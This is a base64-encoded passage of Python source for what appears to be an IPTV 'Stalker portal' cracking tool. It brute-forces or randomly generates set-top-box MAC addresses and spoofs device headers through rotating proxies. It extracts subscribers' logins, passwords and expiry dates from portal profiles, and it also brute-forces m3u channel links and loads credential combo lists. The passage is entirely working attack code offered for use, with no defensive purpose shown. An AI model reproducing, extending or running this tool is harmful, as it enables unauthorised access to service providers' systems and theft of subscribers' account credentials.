ICBteVByb3h5ID0gUHJveGllcygpLmdldF9wcm94eShHbGIucHJveHlfdHlwZSkKICAgICAgICAgICAgICAgIHNlc3Npb24ucHJveGllcy51cGRhdGUobXlQcm94eVsxXSkKICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnUHJveHlVc2VkJzogbXlQcm94eVswXX0pCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIGhlYWRlciA9IHNlbGYubXlIZWFkZXJzCiAgICAgICAgICAgICAgICBoZWFkZXIudXBkYXRlKHsnUmVmZXJlcic6IHNlcnZlciArICcvYy8nLCAnVXNlci1BZ2VudCc6ICZxdW90O01vemlsbGEvNS4wIChRdEVtYmVkZGVkOyBVOyBMaW51eDsgQykgQXBwbGVXZWJLaXQvNTMzLjMgKEtIVE1MLCBsaWtlIEdlY2tvKSBNQUcyMDAgc3RiYXBwIHZlcjogMiByZXY6IDI1MCBTYWZhcmkvNTMzLjMmcXVvdDssICdYLVVzZXItQWdlbnQnOiAmcXVvdDtNb2RlbDogTUFHMjUwOyBMaW5rOiBXaUZpJnF1b3Q7fSkKICAgICAgICAgICAgICAgIHVkaWQgPSBzZWNyZXRzLnRva2VuX2hleCgxNikKICAgICAgICAgICAgICAgIGNvb2tpZXMgPSB7J21hYyc6IG1hYywgJ3N0Yl9sYW5nJzogJnF1b3Q7ZW4mcXVvdDssICd0aW1lem9uZSc6ICZxdW90O0FtZXJpY2ElMkZOZXdfWW9yayZxdW90OywgJ2FkaWQnOiB1ZGlkfQogICAgICAgICAgICAgICAgdXJsID0gZid7c2VydmVyfS9zZXJ2ZXIvbG9hZC5waHA/dHlwZT17c2VsZi5oYW5kX3NoYWtlfScKICAgICAgICAgICAgICAgIEdldEhhbmQgPSBzZXNzaW9uLmdldCh1cmwsIGhlYWRlcnM9aGVhZGVyLCBjb29raWVzPWNvb2tpZXMsIHRpbWVvdXQ9R2xiLndhaXRUaW1lLCBhbGxvd19yZWRpcmVjdHM9VHJ1ZSkKICAgICAgICAgICAgICAgIHVybF9zZXJ2ZXIgPSBHZXRIYW5kLnVybAogICAgICAgICAgICAgICAgcGFyc2VkX3VybCA9IHVybHBhcnNlKHVybF9zZXJ2ZXIpCiAgICAgICAgICAgICAgICByZWFsX3NlcnZlciA9ICd7dXJpLnNjaGVtZX06Ly97dXJpLm5ldGxvY30nLmZvcm1hdCh1cmk9cGFyc2VkX3VybCkKICAgICAgICAgICAgICAgIGhlYWRlci51cGRhdGUoeydSZWZlcmVyJzogcmVhbF9zZXJ2ZXIgKyAnL2MvJ30pCiAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZjBceDlmXHg4Y1x4OGUgU2VydmVyJzogcmVhbF9zZXJ2ZXIsICdceGYwXHg5Zlx4OTNceGJkIE1hYyc6IG1hY30pCiAgICAgICAgICAgICAgICBpZiBHZXRIYW5kLnN0YXR1c19jb2RlID09IDIwMDoKICAgICAgICAgICAgICAgICAgICB0b2tlbiA9IFBhcnNlKCkucGFyc2VfYnR3X3N0cihHZXRIYW5kLnRleHQsICd0b2tlbiZxdW90OzomcXVvdDsnLCAnJnF1b3Q7JykKICAgICAgICAgICAgICAgICAgICByYW5kb20gPSBQYXJzZSgpLnBhcnNlX2J0d19zdHIoR2V0SGFuZC50ZXh0LCAncmFuZG9tJnF1b3Q7OiZxdW90OycsICcmcXVvdDsnKQogICAgICAgICAgICAgICAgICAgIGhlYWRlci51cGRhdGUoeydBdXRob3JpemF0aW9uJzogJ0JlYXJlciAnICsgdG9rZW59KQogICAgICAgICAgICAgICAgICAgIGdldHN0a2xfcHJvZiA9IHNlbGYuc3RrbF9wcm9mCiAgICAgICAgICAgICAgICAgICAgbWV0cmljcyA9ICd7JnF1b3Q7bWFjJnF1b3Q7OiZxdW90O215X21hYyZxdW90OywmcXVvdDttb2RlbCZxdW90OzomcXVvdDsmcXVvdDssJnF1b3Q7dHlwZSZxdW90OzomcXVvdDtTVEImcXVvdDssJnF1b3Q7dWlkJnF1b3Q7OiZxdW90OyZxdW90OywmcXVvdDtyYW5kb20mcXVvdDs6JnF1b3Q7bXlfcm5kJnF1b3Q7fScucmVwbGFjZSgnbXlfbWFjJywgbWFjKS5yZXBsYWNlKCdteV9ybmQnLCByYW5kb20pCiAgICAgICAgICAgICAgICAgICAgbXlfbWV0cmljcyA9IHVybGxpYi5wYXJzZS5xdW90ZV9wbHVzKG1ldHJpY3MsIHNhZmU9JycsIGVuY29kaW5nPU5vbmUsIGVycm9ycz1Ob25lKQogICAgICAgICAgICAgICAgICAgIGZvciByIGluICgmcXVvdDtteV90aW1lJnF1b3Q7LCBzdHIoaW50KHRpbWUudGltZSgpKSkpLCAoJnF1b3Q7bXlfbWV0cmljcyZxdW90OywgbWV0cmljcyk6ICAjICgmcXVvdDtteV9tZXRyaWNzJnF1b3Q7LCBteV9tZXRyaWNzKToKICAgICAgICAgICAgICAgICAgICAgICAgZ2V0c3RrbF9wcm9mID0gZ2V0c3RrbF9wcm9mLnJlcGxhY2UoKnIpCiAgICAgICAgICAgICAgICAgICAgR2V0Q2hlY2sgPSBzZXNzaW9uLmdldChzZXJ2ZXIgKyBnZXRzdGtsX3Byb2YsIGhlYWRlcnM9aGVhZGVyLCBjb29raWVzPWNvb2tpZXMpCiAgICAgICAgICAgICAgICAgICAgaWYgJ1wmcXVvdDtsYXN0X3dhdGNoZG9nXCZxdW90OzpcJnF1b3Q7JyBpbiBHZXRDaGVjay50ZXh0OiAgIyBHb29kIEFjY291bnQKICAgICAgICAgICAgICAgICAgICAgICAgR2V0Q2hlY2tEYXRhID0gR2V0Q2hlY2suanNvbigpCiAgICAgICAgICAgICAgICAgICAgICAgIGxhc3QgPSBHZXRDaGVja0RhdGFbJ2xhc3Rfd2F0Y2hkb2cnXQogICAgICAgICAgICAgICAgICAgICAgICBpZiBsYXN0ICE9ICcwMDAwLTAwLTAwIDAwOjAwOjAwJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzZXIgPSBHZXRDaGVja0RhdGFbJ2xvZ2luJ10KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHB3ZCA9IEdldENoZWNrRGF0YVsncGFzc3dvcmQnXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydceGYwXHg5Zlx4OTFceGE1IFVzZXInOiB1c2VyLCAnXHhmMFx4OWZceDk0XHg5MSBQYXNzJzogcHdkfSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnZXREYXRlID0gR2V0Q2hlY2tEYXRhWydleHBpcmVfYmlsbGluZ19kYXRlJ10KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiBnZXREYXRlIGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4cF9kYXRlID0gJ/CfkqtVTkxJTUlURUTwn5KrJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgcmUuc2VhcmNoKCcoWzAtOV17MTAsMTV9KScsIGdldERhdGUpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfZGF0ZSA9IHN0cihkYXRldGltZS5mcm9tdGltZXN0YW1wKGludChnZXREYXRlKSkuc3RyZnRpbWUoJyViICVkLCAlWSAnKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfZGF0ZSA9IHN0cihnZXREYXRlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnXHhlMlx4OGZceGIxIEV4cF9kYXRlJzogZXhwX2RhdGV9KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbCBlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJpYWwgPSBoYXNobGliLm1kNShtYWMuZW5jb2RlKCd1dGYtOCcpKS5oZXhkaWdlc3QoKS51cHBlcigpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZXZpY2VfSUQgPSBoYXNobGliLnNoYTI1NihtYWMuZW5jb2RlKCd1dGYtOCcpKS5oZXhkaWdlc3QoKS51cHBlcigpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJpYWxfY3V0ID0gc2VyaWFsWzoxM10KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNpZ19jb2RlID0gc2VyaWFsX2N1dCArICcrJyArIG1hYwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2lnID0gaGFzaGxpYi5zaGEyNTYoc2lnX2NvZGUuZW5jb2RlKCd1dGYtOCcpKS5oZXhkaWdlc3QoKS51cHBlcigpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBteV9kYXRlID0gZGF0ZXRpbWUubm93KCkuc3RyZnRpbWUoJyViICVkLCAlWSAgJUk6JU0gJXAnKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydTZXJpYWwnOiBzZXJpYWwsICdTZXJpYWxDdXQnOiBzZXJpYWxfY3V0LCAnRGV2aWNlSUQnOiBkZXZpY2VfSUQsICdTaWduYXR1cmUnOiBzaWcsICdTY2FuX2RhdGUnOiBteV9kYXRlLCAnXHhlMlx4OWFceDk5XHhlZlx4YjhceDhmTW9kdWxlJzogJnF1b3Q7U3RhbGtlciBIaXRzIFN5c3RlbSZxdW90O30pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgPSAoJ0dvb2QnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnQmFkJywgYWxsSW5mbykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgZWxzZTogICMgQmFkIEFjY291bnQKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdCYWQnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZTogICMgU29tZSBTdGF0dXNfQ29kZSBFcnJvcnMKICAgICAgICAgICAgICAgICAgICBjb2RlID0gR2V0SGFuZC5zdGF0dXNfY29kZSAgIyBjb2RlICg0MDMpIHByb3h5IG5vdCBhbGxvdyBpbiB0aGUgc2VydmVyLCAoNTAyKSBwcm94eSBiYW5uZWQKICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J0NvZGUnOiBzdHIoY29kZSl9KQogICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnU3RhdHVzQ29kZScsIGFsbEluZm8pCiAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogICMgbW9zdCBsaWtlIHNlcnZlciBibG9ja2VkLCAoQ2F1c2VkIGJ5IE5ld0Nvbm5lY3Rpb25FcnJvciwgQ2F1c2VkIGJ5IENvbm5lY3RUaW1lb3V0RXJyb3IpCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZXJyb3IgPSBQYXJzZSgpLnBhcnNlX2J0d19zdHIoc3RyKGUpLCAnJmd0OzonLCAnKSknKQogICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnRXJyb3InOiBlcnJvcn0pCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdFcnJvcicsIGFsbEluZm8pCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgZmluYWxseToKICAgICAgICAgICAgICAgIGlmIEdsYi5yZXN1bHRfbG9nZ2VyIGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdHMucHV0KHJlc3VsdCkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdF9sb2dnZXIocmVzdWx0KQogICAgICAgIHNlc3Npb24uY2xvc2UoKQogICAgICAgIHJldHVybgoKICAgIGRlZiBjaGFubmVsX2JmKHNlbGYsIGRhdGEpOgogICAgICAgICZxdW90OyZxdW90OyZxdW90O1RoaXMgaXMgdGhlIG1ldGhvZCBvciBzY3JpcHQgaXMgZm9yIEJydXRlIEZvcmNlIG0zdSBjaGFubmVsIGxpbmsmcXVvdDsmcXVvdDsmcXVvdDsKCiAgICAgICAgcmVzdWx0ID0gdHVwbGUoKQogICAgICAgIGNvbWJvID0gbGlzdChkYXRhLnZhbHVlcygpKQogICAgICAgIHZhckNvbWJvID0gbGlzdChmaWx0ZXIoTm9uZSwgc3RyKGNvbWJvWzBdKS5zcGxpdCgnOicpKSkKICAgICAgICBmb3IgbGluayBpbiBHbGIuc2VydmVyTGlzdDoKICAgICAgICAgICAgdmFyc1RvcmVwbGFjZSA9IFBhcnNlKCkucGFyc2VfYnR3X3JlYyhsaW5rLCAnJmx0OycsICcmZ3Q7JykKICAgICAgICAgICAgZGF0YV92YXIgPSBjeWNsZSh2YXJDb21ibykKICAgICAgICAgICAgc2VydmVyID0gbGluawogICAgICAgICAgICBmb3IgdmFyIGluIHZhcnNUb3JlcGxhY2U6CiAgICAgICAgICAgICAgICBteV92YXIgPSBzdHIoKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIG15X3ZhciA9IG5leHQoZGF0YV92YXIpCiAgICAgICAgICAgICAgICBleGNlcHQgU3RvcEl0ZXJhdGlvbiBhcyBlOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgIHNlcnZlciA9IHNlcnZlci5yZXBsYWNlKGYnJmx0O3t2YXJ9Jmd0OycsIG15X3ZhcikKICAgICAgICAgICAgc2Vzc2lvbiA9IHNlbGYucmVxdWVzdHMuc2Vzc2lvbigpCiAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICBhbGxJbmZvID0gZGljdCgpCiAgICAgICAgICAgICAgICBpZiBHbGIudXNlUHJveHkgPT0gJ3llcyc6CiAgICAgICAgICAgICAgICAgICAgbXlQcm94eSA9IFByb3hpZXMoKS5nZXRfcHJveHkoR2xiLnByb3h5X3R5cGUpCiAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbi5wcm94aWVzLnVwZGF0ZShteVByb3h5WzFdKQogICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnUHJveHlVc2VkJzogbXlQcm94eVswXX0pCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydceGYwXHg5Zlx4OGNceDhlIFNlcnZlcic6IHNlcnZlcn0pCiAgICAgICAgICAgICAgICAgICAgaGVhZGVyID0gc2VsZi5teUhlYWRlcnMKICAgICAgICAgICAgICAgICAgICBoZWFkZXIudXBkYXRlKHsgJ1VzZXItQWdlbnQnOiAmcXVvdDtNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvOTMuMC40NTc3LjgyIFNhZmFyaS81MzcuMzYmcXVvdDt9KQogICAgICAgICAgICAgICAgICAgIGh0dHBfcmVxID0gc2Vzc2lvbi5nZXQoc2VydmVyLCBoZWFkZXJzPWhlYWRlciwgYWxsb3dfcmVkaXJlY3RzPVRydWUpCiAgICAgICAgICAgICAgICAgICAgcmVxR2V0ID0gaHR0cF9yZXEudGV4dAogICAgICAgICAgICAgICAgICAgIHVybF9zZXJ2ZXIgPSBodHRwX3JlcS51cmwKICAgICAgICAgICAgICAgICAgICBpZiBodHRwX3JlcS5zdGF0dXNfY29kZSA9PSAyMDAgYW5kICcjRVhUTTNVJyBpbiByZXFHZXQ6ICAjICZsdDs9PT09PSBHb29kIEFjY291bnQgKCNFWFRNM1UsICNFWFRJTkYpCiAgICAgICAgICAgICAgICAgICAgICAgIG15X2RhdGUgPSBkYXRldGltZS5ub3coKS5zdHJmdGltZSgnJWIgJWQsICVZICAlSTolTSAlcCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVOYW1lID0gc2VydmVyLnNwbGl0KCc6Ly8nKVsxXS5zcGxpdCgnOicpWzBdLnNwbGl0KCcvJylbMF0KICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydGaWxlTmFtZSc6IGZpbGVOYW1lLCAnXHhmMFx4OWZceDk0XHg5NyBtM3VfTGluayc6IHVybF9zZXJ2ZXIsICdceGYwXHg5Zlx4OTNceDg2IFNjYW5fZGF0ZSc6IG15X2RhdGUsICdceGUyXHg5YVx4OTlceGVmXHhiOFx4OGZNb2R1bGUnOiAmcXVvdDtDaGFubmVsIEJydXRlIEZvcmNlJnF1b3Q7fSkKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdHb29kJywgYWxsSW5mbykKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBlbGlmIGh0dHBfcmVxLnN0YXR1c19jb2RlID09IDIwMCBhbmQgcmVxR2V0ICE9ICcjRVhUTTNVJzogICMgJmx0Oz09PT09IEJhZCBBY2NvdW50CiAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnU2VydmVyJzogc2VydmVyfSkKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdCYWQnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnQ29kZSc6IHN0cihodHRwX3JlcS5zdGF0dXNfY29kZSl9KQogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgPSAoJ1N0YXR1c0NvZGUnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3IgPSBlLmFyZ3NbMF0KICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydTZXJ2ZXInOiBzZXJ2ZXIsICdFcnJvcic6IGVycm9yfSkKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdFcnJvcicsIGFsbEluZm8pCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICdFeGNlZWRlZCAzMCByZWRpcmVjdHMuJyBpbiBlcnJvcjogICMgVG9vTWFueVJlZGlyZWN0cwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdCYWQnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICAgICAgICAgIGRlbCBlCiAgICAgICAgICAgICAgICBmaW5hbGx5OgogICAgICAgICAgICAgICAgICAgIGlmIEdsYi5yZXN1bHRfbG9nZ2VyIGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIEdsYi5yZXN1bHRzLnB1dChyZXN1bHQpCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdF9sb2dnZXIocmVzdWx0KQogICAgICAgICAgICBzZXNzaW9uLmNsb3NlKCkKICAgICAgICByZXR1cm4KCgpjbGFzcyBUaHJlYWQ6CiAgICAmcXVvdDsmcXVvdDsmcXVvdDtUaGlzIENsYXNzIGNvbnRhaW4gYWxsIGluaXRpYWwgbWV0aG9kcyBvbiBwcmVwYXJhdGlvbiBmb3IgdGhlIHBhcmFsbGVsIHN5c3RlbSZxdW90OyZxdW90OyZxdW90OwoKICAgIGRlZiBfX2luaXRfXyhzZWxmLCAqKmt3YXJnKToKICAgICAgICBzZWxmLnRocmVhZHMgPSBHbGIudGhyZWFkTWFpbgogICAgICAgIHNlbGYuY3JlZGVudGlhbHMgPSBrd2FyZ1snd3JsJ10KICAgICAgICBzZWxmLnNlcnZlcnMgPSBrd2FyZ1snc2Vydmxpc3QnXQogICAgICAgIHNlbGYubXlfaXRlciA9IE5vbmUKICAgICAgICBzZWxmLmxvYWRfY29tYm8oKQogICAgICAgIHNlbGYubG9hZF9zZXJ2ZXJzKCkKICAgICAgICBzZWxmLmxvYWRfcHJveGllcygpCiAgICAgICAgUmVxdWlyZW1lbnRzKCkuc2VsZmNoZWNrKCkKICAgICAgICBpZiBHbGIuc2VydmVyc19sZW5ndGggJmd0OyAwOgogICAgICAgICAgICBHbGIudG90YWxUb0NoZWNrID0gR2xiLnNlcnZlcnNfbGVuZ3RoICogR2xiLmNvbWJvX2xlbmd0aAogICAgICAgIGVsc2U6CiAgICAgICAgICAgIEdsYi50b3RhbFRvQ2hlY2sgPSBHbGIuY29tYm9fbGVuZ3RoCgogICAgZGVmIGxvYWRfY29tYm8oc2VsZik6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oR2xiLmNvbWJvX3BhdGgsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmaWxlOgogICAgICAgICAgICAgICAgZm9yIGkgaW4gcmFuZ2UoR2xiLnN0YXJ0X2NvbWJvKToKICAgICAgICAgICAgICAgICAgICBfID0gbmV4dChmaWxlLCAxKQogICAgICAgICAgICAgICAgZm9yIGkgaW4gcmFuZ2UoMTAwMDApOgogICAgICAgICAgICAgICAgICAgIGxpbmUgPSBuZXh0KGZpbGUpLnJlcGxhY2UoJ1xuJywgJycpCiAgICAgICAgICAgICAgICAgICAgaWYgKEdsYi5zY2FuX21vZGUgPT0gJzInIG9yIEdsYi5zY2FuX21vZGUgPT0gJ3BhbmVsJykgYW5kIGxpbmUuY291bnQoJzonKSA9PSAxOgogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLmNyZWRlbnRpYWxzLmFwcGVuZCh7J19kYXRhJzogbGluZX0pCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYubXlfaXRlciA9IHNlbGYuY3JlZGVudGlhbHMKICAgICAgICAgICAgICAgICAgICBlbGlmIEdsYi5zY2FuX21vZGUgPT0gJzMnIGFuZCBsaW5lLmNvdW50KCc6JykgPT0gNToKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5jcmVkZW50aWFscy5hcHBlbmQoeydfZGF0YSc6IGxpbmV9KQogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLm15X2l0ZXIgPSBzZWxmLmNyZWRlbnRpYWxzCiAgICAgICAgICAgICAgICAgICAgZWxpZiBHbGIuc2Nhbl9tb2RlID09ICc1JzoKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5jcmVkZW50aWFscy5hcHBlbmQoeydfZGF0YSc6IGxpbmV9KQogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLm15X2l0ZXIgPSBzZWxmLmNyZWRlbnRpYWxzCiAgICAgICAgICAgICAgICAgICAgZWxpZiBHbGIuc2Nhbl9tb2RlID09ICc2JyBhbmQgbGluZS5jb3VudCgnOicpID09IDE6CiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYuY3JlZGVudGlhbHMuYXBwZW5kKHsnX2RhdGEnOiBsaW5lfSkKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5teV9pdGVyID0gc2VsZi5jcmVkZW50aWFscwogICAgICAgIGV4Y2VwdCBTdG9wSXRlcmF0aW9uIGFzIHN0b3BfZToKICAgICAgICAgICAgR2xiLmNvbWJvX2xlbmd0aCA9IEdsYi5zdGFydF9jb21ibyArIGxlbihzZWxmLmNyZWRlbnRpYWxzKSAgIyBmb3IgcmVsb2FkIDEwMDAwIGNyZWRlbnRpYWxzCiAgICAgICAgICAgIGRlbCBzdG9wX2UKICAgICAgICBleGNlcHQgT1NFcnJvciBhcyBlOgogICAgICAgICAgICBkZWwgZQogICAgICAgICAgICBmbGFnID0gbGVuKEdsYi5jb21ib0xpc3QpCiAgICAgICAgICAgIGlmIGZsYWcgJmd0OyAwOgogICAgICAgICAgICAgICAgc2VsZi5jcmVkZW50aWFscyA9IEdsYi5jb21ib0xpc3QKICAgICAgICAgICAgICAgIEdsYi5jb21ib19sZW5ndGggPSBmbGFnCiAgICAgICAgICAgICAgICBzZWxmLm15X2l0ZXIgPSBzZWxmLmNyZWRlbnRpYWxzCiAgICAgICAgICAgIGVsaWYgR2xiLm1hY19hdXRoIGlzIFRydWU6CiAgICAgICAgICAgICAgICBHbGIuY29tYm9fbGVuZ3RoID0gMTYgKiogR2xiLm1hY19maWxsCiAgICAgICAgICAgICAgICBlbmRfcmFuZ2UgPSBHbGIuc3RhcnRfY29tYm8gKyBtaW4oMTAwMDAsICgoMTYgKiogR2xiLm1hY19maWxsKSAtIEdsYi5zdGFydF9jb21ibykpCiAgICAgICAgICAgICAgICBpZiBHbGIubWFjX3JuZDoKICAgICAgICAgICAgICAgICAgICBpZiBHbGIuY29tYm9fbGVuZ3RoICZndDsgMTA0ODU3NjogICMgMTYqKjUKICAgICAgICAgICAgICAgICAgICAgICAgbXlfaXRlciA9IFtyYW5kb20ucmFuZHJhbmdlKDAsIEdsYi5jb21ib19sZW5ndGgpIGZvciBpIGluIHJhbmdlKEdsYi5zdGFydF9jb21ibywgZW5kX3JhbmdlKV0KICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBHbGIuc3RhcnRfY29tYm8gPT0gMDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsYi5saXN0X3JuZF9tYWMgPSBsaXN0KHJhbmdlKEdsYi5jb21ib19sZW5ndGgpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmFuZG9tLnNodWZmbGUoR2xiLmxpc3Rfcm5kX21hYykKICAgICAgICAgICAgICAgICAgICAgICAgbXlfaXRlciA9IGlzbGljZShHbGIubGlzdF9ybmRfbWFjLCBHbGIuc3RhcnRfY29tYm8sIGVuZF9yYW5nZSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgbXlfaXRlciA9IHJhbmdlKEdsYi5zdGFydF9jb21ibywgZW5kX3JhbmdlKSAgIyAmbHQ7LS0gZmluYWwgcmFuZ2UgZm9yIGludGVyYXRvcgogICAgICAgICAgICAgICAgc2VsZi5teV9pdGVyID0gW3NlbGYubWFjX2dlbmVyYXRvcihpdGVtKSBmb3IgaXRlbSBpbiBteV9pdGVyXQoKICAgICAgICAgICAgZWxpZiBHbGIuc2Nhbl9tb2RlID09ICc1JzoKICAgICAgICAgICAgICAgIGVuZF9yYW5nZSA9IEdsYi5zdGFydF9jb21ibyArIG1pbigxMDAwMCwgKG1heChHbGIuY2hhbm5lbF9pbnRlcikgKyAxIC0gR2xiLnN0YXJ0X2NvbWJvKSkKICAgICAgICAgICAgICAgIHN0YXJ0X3JhbmdlID0gR2xiLnN0YXJ0X2NvbWJvICsgbWluKEdsYi5jaGFubmVsX2ludGVyKQogICAgICAgICAgICAgICAgbXlfaXRlciA9IHJhbmdlKHN0YXJ0X3JhbmdlLCBlbmRfcmFuZ2UpCiAgICAgICAgICAgICAgICBbc2VsZi5jcmVkZW50aWFscy5hcHBlbmQoeydfZGF0YSc6IGl0ZW19KSBmb3IgaXRlbSBpbiBteV9pdGVyXQogICAgICAgICAgICAgICAgc2VsZi5teV9pdGVyID0gc2VsZi5jcmVkZW50aWFscwogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgR2xiLnJ1bm5pbmcgPSBGYWxzZQogICAgICAgICAgICAgICAgRGlzcGxheSgpLmVycm9yX21zZyhmJ3tHbGIuQX1QbGVhc2UgbWFrZSBzdXJlIHlvdXIgY29tYm8gZmlsZSBleGlzdCB7R2xiLlJTVH0gYW5kIHN0YXJ0IGFnYWluJykKICAgICAgICAgICAgICAgIGlucHV0KCdQbGVhc2UgcHJlc3MgRU5URVIgdG8gY29udGludWUnKQogICAgICAgICAgICAgICAgcmV0dXJuIFN0YXJ0QXBwKCkucmVfc3RhcnRBcHAoKQoKICAgIGRlZiBsb2FkX3NlcnZlcnMoc2VsZik6CiAgICAgICAgaWYgR2xiLnNjYW5fbW9kZSAhPSAnNic6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihHbGIuc2VydmVyc19wYXRoLCBlcnJvcnM9J2lnbm9yZScpIGFzIChmKToKICAgICAgICAgICAgICAgICAgICBsaW5lc1MgPSBmLnJlYWQoKS5zcGxpdCgnXG4nKQogICAgICAgICAgICAgICAgZm9yIHNlcnZlciBpbiBsaW5lc1M6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VydmVyLmNvdW50KCc6Ly8nKSA9PSAxOgogICAgICAgICAgICAgICAgICAgICAgICBHbGIuc2VydmVyTGlzdC5hcHBlbmQoc2VydmVyKQogICAgICAgICAgICAgICAgR2xiLnNlcnZlckxpc3QgPSBsaXN0KHNldChHbGIuc2VydmVyTGlzdCkpCiAgICAgICAgICAgICAgICBHbGIuc2VydmVyc19sZW5ndGggPSBsZW4oR2xiLnNlcnZlckxpc3QpCiAgICAgICAgICAgIGV4Y2VwdCBPU0Vy